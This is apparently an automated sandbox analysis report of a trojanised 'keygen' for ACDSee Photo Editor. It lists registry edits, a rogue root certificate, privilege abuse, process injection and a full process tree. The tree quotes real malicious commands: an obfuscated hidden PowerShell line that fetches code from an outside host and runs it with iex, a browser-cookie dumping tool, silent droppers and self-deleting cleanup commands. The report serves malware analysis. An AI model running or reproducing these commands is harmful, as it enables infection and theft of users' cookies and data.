Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url4 = "https://login.live.com/"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\ManagerHistoryComplete = "1"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = 01000000c72dbbf76ff1725a4102394d58bb8e44bfcc454e93e4e7050cb9db3498e7e1e9ee57dafaf412c016f9bdd1f94129a6020ca3538eee00788386842300852322cd63c36a4d7c71fdbc47c2cd6fb1cd7cea5d3a7f47f61afefeee0d	MicrosoftEdge.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

Processes:

askinstall20.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	askinstall20.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	askinstall20.exe

Runs ping.exe 1 TTPs 4 IoCs

Remote System Discovery
T1018

Processes:

PING.EXEPING.EXEPING.EXEPING.EXE

pid process

2168 PING.EXE
5476 PING.EXE
6948 PING.EXE
3080 PING.EXE

pid	process
2168	PING.EXE
5476	PING.EXE
6948	PING.EXE
3080	PING.EXE

Script User-Agent 5 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	411	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	95	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	100	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	225	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	230	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 26 IoCs

Processes:

setups.tmprundll32.exesvchost.exemultitimer.exekey.exe

pid	process
2844	setups.tmp
2844	setups.tmp
4352	rundll32.exe
4352	rundll32.exe
1416	svchost.exe
1416	svchost.exe
2432	multitimer.exe
2432	multitimer.exe
2432	multitimer.exe
2432	multitimer.exe
2432	multitimer.exe
2432	multitimer.exe
2432	multitimer.exe
2432	multitimer.exe
2432	multitimer.exe
2432	multitimer.exe
2432	multitimer.exe
2432	multitimer.exe
2432	multitimer.exe
2432	multitimer.exe
2432	multitimer.exe
2432	multitimer.exe
2432	multitimer.exe
2432	multitimer.exe
3188	key.exe
3188	key.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Setup.exemultitimer.exeaskinstall20.exerundll32.exesvchost.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	1192	Setup.exe
Token: SeDebugPrivilege	2432	multitimer.exe
Token: SeCreateTokenPrivilege	4256	askinstall20.exe
Token: SeAssignPrimaryTokenPrivilege	4256	askinstall20.exe
Token: SeLockMemoryPrivilege	4256	askinstall20.exe
Token: SeIncreaseQuotaPrivilege	4256	askinstall20.exe
Token: SeMachineAccountPrivilege	4256	askinstall20.exe
Token: SeTcbPrivilege	4256	askinstall20.exe
Token: SeSecurityPrivilege	4256	askinstall20.exe
Token: SeTakeOwnershipPrivilege	4256	askinstall20.exe
Token: SeLoadDriverPrivilege	4256	askinstall20.exe
Token: SeSystemProfilePrivilege	4256	askinstall20.exe
Token: SeSystemtimePrivilege	4256	askinstall20.exe
Token: SeProfSingleProcessPrivilege	4256	askinstall20.exe
Token: SeIncBasePriorityPrivilege	4256	askinstall20.exe
Token: SeCreatePagefilePrivilege	4256	askinstall20.exe
Token: SeCreatePermanentPrivilege	4256	askinstall20.exe
Token: SeBackupPrivilege	4256	askinstall20.exe
Token: SeRestorePrivilege	4256	askinstall20.exe
Token: SeShutdownPrivilege	4256	askinstall20.exe
Token: SeDebugPrivilege	4256	askinstall20.exe
Token: SeAuditPrivilege	4256	askinstall20.exe
Token: SeSystemEnvironmentPrivilege	4256	askinstall20.exe
Token: SeChangeNotifyPrivilege	4256	askinstall20.exe
Token: SeRemoteShutdownPrivilege	4256	askinstall20.exe
Token: SeUndockPrivilege	4256	askinstall20.exe
Token: SeSyncAgentPrivilege	4256	askinstall20.exe
Token: SeEnableDelegationPrivilege	4256	askinstall20.exe
Token: SeManageVolumePrivilege	4256	askinstall20.exe
Token: SeImpersonatePrivilege	4256	askinstall20.exe
Token: SeCreateGlobalPrivilege	4256	askinstall20.exe
Token: 31	4256	askinstall20.exe
Token: 32	4256	askinstall20.exe
Token: 33	4256	askinstall20.exe
Token: 34	4256	askinstall20.exe
Token: 35	4256	askinstall20.exe
Token: SeDebugPrivilege	4352	rundll32.exe
Token: SeDebugPrivilege	4352	rundll32.exe
Token: SeTcbPrivilege	1416	svchost.exe
Token: SeDebugPrivilege	4352	rundll32.exe
Token: SeDebugPrivilege	4352	rundll32.exe
Token: SeDebugPrivilege	4352	rundll32.exe
Token: SeDebugPrivilege	4352	rundll32.exe
Token: SeDebugPrivilege	4352	rundll32.exe
Token: SeDebugPrivilege	4352	rundll32.exe
Token: SeDebugPrivilege	4352	rundll32.exe
Token: SeDebugPrivilege	4352	rundll32.exe
Token: SeDebugPrivilege	4352	rundll32.exe
Token: SeDebugPrivilege	4352	rundll32.exe
Token: SeDebugPrivilege	4352	rundll32.exe
Token: SeAssignPrimaryTokenPrivilege	2640	svchost.exe
Token: SeIncreaseQuotaPrivilege	2640	svchost.exe
Token: SeSecurityPrivilege	2640	svchost.exe
Token: SeTakeOwnershipPrivilege	2640	svchost.exe
Token: SeLoadDriverPrivilege	2640	svchost.exe
Token: SeSystemtimePrivilege	2640	svchost.exe
Token: SeBackupPrivilege	2640	svchost.exe
Token: SeRestorePrivilege	2640	svchost.exe
Token: SeShutdownPrivilege	2640	svchost.exe
Token: SeSystemEnvironmentPrivilege	2640	svchost.exe
Token: SeUndockPrivilege	2640	svchost.exe
Token: SeManageVolumePrivilege	2640	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2640	svchost.exe
Token: SeIncreaseQuotaPrivilege	2640	svchost.exe

Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

setups.exesetups.tmpMicrosoftEdge.exeMicrosoftEdgeCP.exe

pid process

2600 setups.exe
2844 setups.tmp
3912 MicrosoftEdge.exe
1032 MicrosoftEdgeCP.exe

pid	process
2600	setups.exe
2844	setups.tmp
3912	MicrosoftEdge.exe
1032	MicrosoftEdgeCP.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Acdsee.Photo.Editor.2008.5.0.2.keygen.execmd.exekeygen-pr.exekeygen-step-4.exekey.exekeygen-step-3.execmd.exeSetup.exesetups.exeFull Version.exeWScript.exerundll32.exesvchost.exe

description	pid	process	target process
PID 492 wrote to memory of 188	492	Acdsee.Photo.Editor.2008.5.0.2.keygen.exe	cmd.exe
PID 492 wrote to memory of 188	492	Acdsee.Photo.Editor.2008.5.0.2.keygen.exe	cmd.exe
PID 492 wrote to memory of 188	492	Acdsee.Photo.Editor.2008.5.0.2.keygen.exe	cmd.exe
PID 188 wrote to memory of 2840	188	cmd.exe	keygen-pr.exe
PID 188 wrote to memory of 2840	188	cmd.exe	keygen-pr.exe
PID 188 wrote to memory of 2840	188	cmd.exe	keygen-pr.exe
PID 188 wrote to memory of 1452	188	cmd.exe	keygen-step-1.exe
PID 188 wrote to memory of 1452	188	cmd.exe	keygen-step-1.exe
PID 188 wrote to memory of 1452	188	cmd.exe	keygen-step-1.exe
PID 188 wrote to memory of 3816	188	cmd.exe	keygen-step-3.exe
PID 188 wrote to memory of 3816	188	cmd.exe	keygen-step-3.exe
PID 188 wrote to memory of 3816	188	cmd.exe	keygen-step-3.exe
PID 188 wrote to memory of 2128	188	cmd.exe	keygen-step-4.exe
PID 188 wrote to memory of 2128	188	cmd.exe	keygen-step-4.exe
PID 188 wrote to memory of 2128	188	cmd.exe	keygen-step-4.exe
PID 2840 wrote to memory of 3188	2840	keygen-pr.exe	key.exe
PID 2840 wrote to memory of 3188	2840	keygen-pr.exe	key.exe
PID 2840 wrote to memory of 3188	2840	keygen-pr.exe	key.exe
PID 2128 wrote to memory of 1192	2128	keygen-step-4.exe	Setup.exe
PID 2128 wrote to memory of 1192	2128	keygen-step-4.exe	Setup.exe
PID 3188 wrote to memory of 2540	3188	key.exe	key.exe
PID 3188 wrote to memory of 2540	3188	key.exe	key.exe
PID 3188 wrote to memory of 2540	3188	key.exe	key.exe
PID 3188 wrote to memory of 2540	3188	key.exe	key.exe
PID 3188 wrote to memory of 2540	3188	key.exe	key.exe
PID 3188 wrote to memory of 2540	3188	key.exe	key.exe
PID 3188 wrote to memory of 2540	3188	key.exe	key.exe
PID 3188 wrote to memory of 2540	3188	key.exe	key.exe
PID 3188 wrote to memory of 2540	3188	key.exe	key.exe
PID 3188 wrote to memory of 2540	3188	key.exe	key.exe
PID 3188 wrote to memory of 2540	3188	key.exe	key.exe
PID 3188 wrote to memory of 2540	3188	key.exe	key.exe
PID 3188 wrote to memory of 2540	3188	key.exe	key.exe
PID 3188 wrote to memory of 2540	3188	key.exe	key.exe
PID 3188 wrote to memory of 2540	3188	key.exe	key.exe
PID 3816 wrote to memory of 1348	3816	keygen-step-3.exe	cmd.exe
PID 3816 wrote to memory of 1348	3816	keygen-step-3.exe	cmd.exe
PID 3816 wrote to memory of 1348	3816	keygen-step-3.exe	cmd.exe
PID 1348 wrote to memory of 3080	1348	cmd.exe	PING.EXE
PID 1348 wrote to memory of 3080	1348	cmd.exe	PING.EXE
PID 1348 wrote to memory of 3080	1348	cmd.exe	PING.EXE
PID 1192 wrote to memory of 2432	1192	Setup.exe	multitimer.exe
PID 1192 wrote to memory of 2432	1192	Setup.exe	multitimer.exe
PID 1192 wrote to memory of 2600	1192	Setup.exe	setups.exe
PID 1192 wrote to memory of 2600	1192	Setup.exe	setups.exe
PID 1192 wrote to memory of 2600	1192	Setup.exe	setups.exe
PID 2128 wrote to memory of 3840	2128	keygen-step-4.exe	Full Version.exe
PID 2128 wrote to memory of 3840	2128	keygen-step-4.exe	Full Version.exe
PID 2128 wrote to memory of 3840	2128	keygen-step-4.exe	Full Version.exe
PID 2600 wrote to memory of 2844	2600	setups.exe	setups.tmp
PID 2600 wrote to memory of 2844	2600	setups.exe	setups.tmp
PID 2600 wrote to memory of 2844	2600	setups.exe	setups.tmp
PID 3840 wrote to memory of 4200	3840	Full Version.exe	WScript.exe
PID 3840 wrote to memory of 4200	3840	Full Version.exe	WScript.exe
PID 3840 wrote to memory of 4200	3840	Full Version.exe	WScript.exe
PID 2128 wrote to memory of 4256	2128	keygen-step-4.exe	askinstall20.exe
PID 2128 wrote to memory of 4256	2128	keygen-step-4.exe	askinstall20.exe
PID 2128 wrote to memory of 4256	2128	keygen-step-4.exe	askinstall20.exe
PID 4200 wrote to memory of 4352	4200	WScript.exe	rundll32.exe
PID 4200 wrote to memory of 4352	4200	WScript.exe	rundll32.exe
PID 4200 wrote to memory of 4352	4200	WScript.exe	rundll32.exe
PID 4352 wrote to memory of 1416	4352	rundll32.exe	svchost.exe
PID 4352 wrote to memory of 2704	4352	rundll32.exe	svchost.exe
PID 1416 wrote to memory of 4440	1416	svchost.exe	svchost.exe

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2352

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2704

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2664

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2640

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2376

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1864

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1332

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1228

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1152

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1064

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
PID:804

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:372

C:\Users\Admin\AppData\Local\Temp\Acdsee.Photo.Editor.2008.5.0.2.keygen.exe
"C:\Users\Admin\AppData\Local\Temp\Acdsee.Photo.Editor.2008.5.0.2.keygen.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:492

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
2⤵
- Suspicious use of WriteProcessMemory
PID:188

C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
keygen-pr.exe -p83fsase3Ge
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2840

C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3188

C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat
5⤵
- Executes dropped EXE
PID:2540

C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
keygen-step-1.exe
3⤵
- Executes dropped EXE
PID:1452

C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
keygen-step-3.exe
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3816

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
4⤵
- Suspicious use of WriteProcessMemory
PID:1348

C:\Windows\SysWOW64\PING.EXE
ping 1.1.1.1 -n 1 -w 3000
5⤵
- Runs ping.exe
PID:3080

C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
keygen-step-4.exe
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2128

C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"
4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1192

C:\Users\Admin\AppData\Local\Temp\ZCQ60Z84BT\multitimer.exe
"C:\Users\Admin\AppData\Local\Temp\ZCQ60Z84BT\multitimer.exe" 0 3060197d33d91c80.94013368 0 101
5⤵
- Executes dropped EXE
- Maps connected drives based on registry
- Drops file in Windows directory
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2432

C:\Users\Admin\AppData\Local\Temp\ZCQ60Z84BT\multitimer.exe
"C:\Users\Admin\AppData\Local\Temp\ZCQ60Z84BT\multitimer.exe" 1 3.1618144848.6072ee50f3b97 101
6⤵
- Executes dropped EXE
- Adds Run key to start application
PID:4172

C:\Users\Admin\AppData\Local\Temp\ZCQ60Z84BT\multitimer.exe
"C:\Users\Admin\AppData\Local\Temp\ZCQ60Z84BT\multitimer.exe" 2 3.1618144848.6072ee50f3b97
7⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
PID:1360

C:\Users\Admin\AppData\Local\Temp\zhtnuqowrqx\KiffApp1.exe
"C:\Users\Admin\AppData\Local\Temp\zhtnuqowrqx\KiffApp1.exe"
8⤵
PID:3092

C:\Users\Admin\AppData\Local\Temp\iyrw3yjohbv\uqyibbxrx30.exe
"C:\Users\Admin\AppData\Local\Temp\iyrw3yjohbv\uqyibbxrx30.exe" /VERYSILENT
8⤵
PID:2416

C:\Users\Admin\AppData\Local\Temp\is-BNJKF.tmp\uqyibbxrx30.tmp
"C:\Users\Admin\AppData\Local\Temp\is-BNJKF.tmp\uqyibbxrx30.tmp" /SL5="$202DA,140785,56832,C:\Users\Admin\AppData\Local\Temp\iyrw3yjohbv\uqyibbxrx30.exe" /VERYSILENT
9⤵
PID:2072

C:\Users\Admin\AppData\Local\Temp\is-B5P4F.tmp\apipostback.exe
"C:\Users\Admin\AppData\Local\Temp\is-B5P4F.tmp\apipostback.exe" adan adan
10⤵
PID:5716

C:\Windows\SysWOW64\cmd.exe
cmd /C regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\BFUso1Om2.dll"
11⤵
PID:2984

C:\Windows\SysWOW64\regsvr32.exe
regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\BFUso1Om2.dll"
12⤵
PID:3780

C:\Windows\system32\regsvr32.exe
/s "C:\Users\Admin\AppData\Local\Temp\BFUso1Om2.dll"
13⤵
PID:5644

C:\Windows\SysWOW64\cmd.exe
cmd /C regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\BFUso1Om2.dllMiqRh6C3m.dll"
11⤵
PID:5124

C:\Windows\SysWOW64\regsvr32.exe
regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\BFUso1Om2.dllMiqRh6C3m.dll"
12⤵
PID:5644

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
11⤵
PID:6584

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
12⤵
PID:5356

C:\Users\Admin\AppData\Local\Temp\ye0leyneh4s\zfs0pgl1iqr.exe
"C:\Users\Admin\AppData\Local\Temp\ye0leyneh4s\zfs0pgl1iqr.exe" /ustwo INSTALL
8⤵
PID:2736

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "zfs0pgl1iqr.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\ye0leyneh4s\zfs0pgl1iqr.exe" & exit
9⤵
PID:5776

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "zfs0pgl1iqr.exe" /f
10⤵
- Kills process with taskkill
PID:5604

C:\Users\Admin\AppData\Local\Temp\qqaolvkf00k\Setup3310.exe
"C:\Users\Admin\AppData\Local\Temp\qqaolvkf00k\Setup3310.exe" /Verysilent /subid=577
8⤵
PID:2536

C:\Users\Admin\AppData\Local\Temp\is-UOU9F.tmp\Setup3310.tmp
"C:\Users\Admin\AppData\Local\Temp\is-UOU9F.tmp\Setup3310.tmp" /SL5="$30234,138429,56832,C:\Users\Admin\AppData\Local\Temp\qqaolvkf00k\Setup3310.exe" /Verysilent /subid=577
9⤵
PID:4996

C:\Users\Admin\AppData\Local\Temp\is-VURPT.tmp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\is-VURPT.tmp\Setup.exe" /Verysilent
10⤵
PID:432

C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\RunWW.exe
"C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\RunWW.exe"
11⤵
PID:5696

C:\Users\Admin\AppData\Roaming\Programma configurater\viqconf.exe
"C:\Users\Admin\AppData\Roaming\Programma configurater\viqconf.exe"
12⤵
PID:6600

C:\Users\Admin\AppData\Roaming\Programma configurater\viqconf.exe
"C:\Users\Admin\AppData\Roaming\Programma configurater\viqconf.exe"
13⤵
PID:6636

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im viqconf.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Roaming\Programma configurater\viqconf.exe" & del C:\ProgramData\*.dll & exit
14⤵
PID:1036

C:\Windows\SysWOW64\taskkill.exe
taskkill /im viqconf.exe /f
15⤵
- Kills process with taskkill
PID:5284

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
15⤵
- Delays execution with timeout.exe
PID:6844

C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\jg7_7wjg.exe
"C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\jg7_7wjg.exe"
11⤵
PID:5424

C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\hjjgaa.exe
"C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\hjjgaa.exe"
11⤵
PID:5488

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
12⤵
PID:6168

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
12⤵
PID:6468

C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\guihuali-game.exe
"C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\guihuali-game.exe"
11⤵
PID:5152

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"
12⤵
PID:5396

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install
13⤵
PID:6924

C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LabPicV3.exe
"C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LabPicV3.exe"
11⤵
PID:5240

C:\Users\Admin\AppData\Local\Temp\is-ADCN8.tmp\LabPicV3.tmp
"C:\Users\Admin\AppData\Local\Temp\is-ADCN8.tmp\LabPicV3.tmp" /SL5="$1048E,136934,53248,C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LabPicV3.exe"
12⤵
PID:4748

C:\Users\Admin\AppData\Local\Temp\is-TRG4D.tmp\alpATCHInO.exe
"C:\Users\Admin\AppData\Local\Temp\is-TRG4D.tmp\alpATCHInO.exe" /S /UID=lab214
13⤵
PID:4044

C:\Program Files\Windows Mail\NLPGMBXRQM\prolab.exe
"C:\Program Files\Windows Mail\NLPGMBXRQM\prolab.exe" /VERYSILENT
14⤵
PID:1476

C:\Users\Admin\AppData\Local\Temp\is-QIQFM.tmp\prolab.tmp
"C:\Users\Admin\AppData\Local\Temp\is-QIQFM.tmp\prolab.tmp" /SL5="$303D2,575243,216576,C:\Program Files\Windows Mail\NLPGMBXRQM\prolab.exe" /VERYSILENT
15⤵
PID:4852

C:\Users\Admin\AppData\Local\Temp\75-f7720-125-a869e-712513ee0a4c6\Loxyfexyrae.exe
"C:\Users\Admin\AppData\Local\Temp\75-f7720-125-a869e-712513ee0a4c6\Loxyfexyrae.exe"
14⤵
PID:2412

C:\Users\Admin\AppData\Local\Temp\2f-8eaaa-142-f8d8d-e73fdaba45141\Navizhuwuzhu.exe
"C:\Users\Admin\AppData\Local\Temp\2f-8eaaa-142-f8d8d-e73fdaba45141\Navizhuwuzhu.exe"
14⤵
PID:4904

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4mubgop1.ihj\gaooo.exe & exit
15⤵
PID:6216

C:\Users\Admin\AppData\Local\Temp\4mubgop1.ihj\gaooo.exe
C:\Users\Admin\AppData\Local\Temp\4mubgop1.ihj\gaooo.exe
16⤵
PID:5748

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
17⤵
PID:6820

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
17⤵
PID:4876

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lxgk3u2l.53r\google-game.exe & exit
15⤵
PID:6972

C:\Users\Admin\AppData\Local\Temp\lxgk3u2l.53r\google-game.exe
C:\Users\Admin\AppData\Local\Temp\lxgk3u2l.53r\google-game.exe
16⤵
PID:4796

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Program Files\pdfsetup.dll",install
17⤵
PID:5996

C:\Windows\System32\cmd.exe
